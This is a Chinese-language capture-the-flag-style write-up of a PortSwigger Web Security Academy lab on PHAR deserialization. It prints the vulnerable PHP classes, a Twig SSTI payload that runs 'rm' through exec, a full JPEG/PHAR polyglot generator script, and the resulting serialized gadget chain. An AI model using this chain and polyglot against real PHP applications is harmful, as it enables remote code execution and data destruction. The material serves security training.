> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/phar-deserialization-with-custom-chain.md).

# 使用自定义链的 PHAR 反序列化

使用自定义链的 PHAR 反序列化，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 使用 PHAR 反序列化部署自定义 Gadget 链

本实验会 **不** 执行显式的传统反序列化。思路是 **触发** 利用 PHP 对包装器的行为来触发反序列化 **`phar://`**，以便到达一个 **RCE** 通过一个 **自定义 Gadget 链**，然后删除：

* `/home/carlos/morale.txt`

提供的标识符：

* `wiener:peter`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-174b5e43c23570cd3bc48e0f993e6911c8fbfec3%2Fimage%20(237).png?alt=media" alt=""><figcaption></figcaption></figure>

### （1）应用端标记

#### 头像上传

认证后，你可以 **上传一个文件** 通过头像功能的 POST 请求上传文件。1）应用端标记

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37c34aa7724e2017d159af4659c6dc44714bf92c%2Fimage%20(238).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bf508699ec931fd017e6b0513539a673af9e3fd%2Fimage%20(239).png?alt=media" alt=""><figcaption></figcaption></figure>

当你点击个人资料图片时，通过以下方式触发加载：

* `/cgi-bin/avatar.php?avatar=wiener`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32b019e990e9903c7e1d97b074e076244f46f3dc%2Fimage%20(240).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 可读文件位于 `/cgi-bin/`

访问时 `/cgi-bin/`，有几个文件是 **可读的** （有助于获取代码并构造字符串）。

| 名称                    | 大小    |
| --------------------- | ----- |
| CustomTemplate.php    | 1091B |
| CustomTemplate.php/\~ | 0B    |
| Blog.php              | 628B  |
| Blog.php/\~           | 0B    |
| avatar.php            | 540B  |

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b91b222e99a8f8da5aade527e3e5bd546f58a86%2Fimage%20(241).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2）恢复的源代码

#### `blog.php`

有一个 `Blog` 初始化 Twig 的类在 `__wakeup()`:

* `__sleep()` 序列化 `用户` 和 `desc`
* `__wakeup()` 构造一个 `Twig_Environment` 使用基于以下内容的模板 `desc`
* `__toString()` 渲染 `index` 并注入 `用户`

重要一点： `desc` 会直接变成一个 **Twig 模板**，因此可用于针对 **SSTI**.

```php
<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
```

#### `CustomTemplate.php`

该 `CustomTemplate` 类包含：

* 一个私有 `$template_file_path` 字段
* 一个 `__destruct()` 析构函数会执行：
* `@unlink($this->lockFilePath());`

`lockFilePath()` 构造：

* `'templates/' . $this->template_file_path . '.lock'`

因此如果我们控制 `template_file_path` 使用一个可转换为字符串的对象，我们就可以影响以下函数使用的路径： `unlink()`.

```php
<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("无法写入 " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("无法写入 " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos 认为这会是个好主意
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
```

#### 3）Twig 有效载荷（SSTI → 执行）

使用的 Twig 载荷：

目标：执行 `rm /home/carlos/morale.txt`.

```php
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}
```

### 4）利用策略：多态 PHAR

挑战点：上传功能等待一个 **image**。/ 解决方案：创建一个 **多态文件** 文件：

* 既可作为 **JPEG**
* 但包含一个 **PHAR** （tar/phar 格式），带有 **元数据** 已序列化

为什么它有效？

* 当 PHP 通过以下方式打开资源时 `phar://...`，它可能会触发读取 PHAR 清单并 **反序列化某些元数据** （因此会运行 `__wakeup`, `__destruct`，等等，取决于字符串）。

```php
<?php


function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // 去掉 <?php，带前缀时不工作
    $len = strlen($phar) + 2; // 已修正
    $new = substr($jpeg, 0, 2) . "/xff/xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // 计算 tar 校验和
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // 嵌入校验和
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}


// POP 利用类
class Blog {}
class CustomTemplate {}
$blog = new Blog();
$blog->user = "pwned";
$blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$object = new CustomTemplate();
$object->template_file_path = $blog;




// JPG 配置
$tempname = 'temp.tar.phar'; // 使其为 tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// 生成 jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

/*
// GIF 配置
$prefix = "/x47/x49/x46/x38/x39/x61" . "/x2c/x01/x2c/x01"; // GIF 头，尺寸 300 x 300
$tempname = 'temp.phar'; // 使其为 phar
$outfile = 'out.gif';

// 生成 gif
file_put_contents($outfile, generate_base_phar($payload, $prefix));

*/

```

### 5）构建的 Gadget 链

你构造：

* 一个 `Blog` 带有以下内容的对象：
* `user = "pwned"`
* `desc = <Twig SSTI 载荷>`
* 然后你把这个对象放入 `CustomTemplate->template_file_path`

这样，当 `CustomTemplate` 被销毁时， `lockFilePath()` 将拼接一个对象中的值，这会强制转换为字符串 → 调用 `Blog::__toString()` → 触发 `twig->render()` → 解释 `desc` → 执行命令。

```bash
php -c php.ini phar_jpg_polyglot.php
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dcbf355533c83e1bf4176125a7996684bfec5081%2Fimage%20(242).png?alt=media" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
string(216) "O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:5:"pwned";s:4:"desc";s:106:"{{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"rm /home/carlos/morale.txt\")}}";}}"
```

{% endcode %}

* 上传 `out.jpg` 作为头像

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f03158efa02cc52d5afbb52dbf55151c4f18bd5e%2Fimage%20(243).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-56bcacfe6c49d1680f52e5a1edb7b6984180642f%2Fimage%20(244).png?alt=media" alt=""><figcaption></figcaption></figure>

通过以下方式调用资源 `phar://`:

* `cgi-bin/avatar.php?avatar=phar://wiener`

此时，应用程序使用 PHAR 包装器打开资源，元数据被反序列化，字符串触发，然后文件：

* `/home/carlos/morale.txt`


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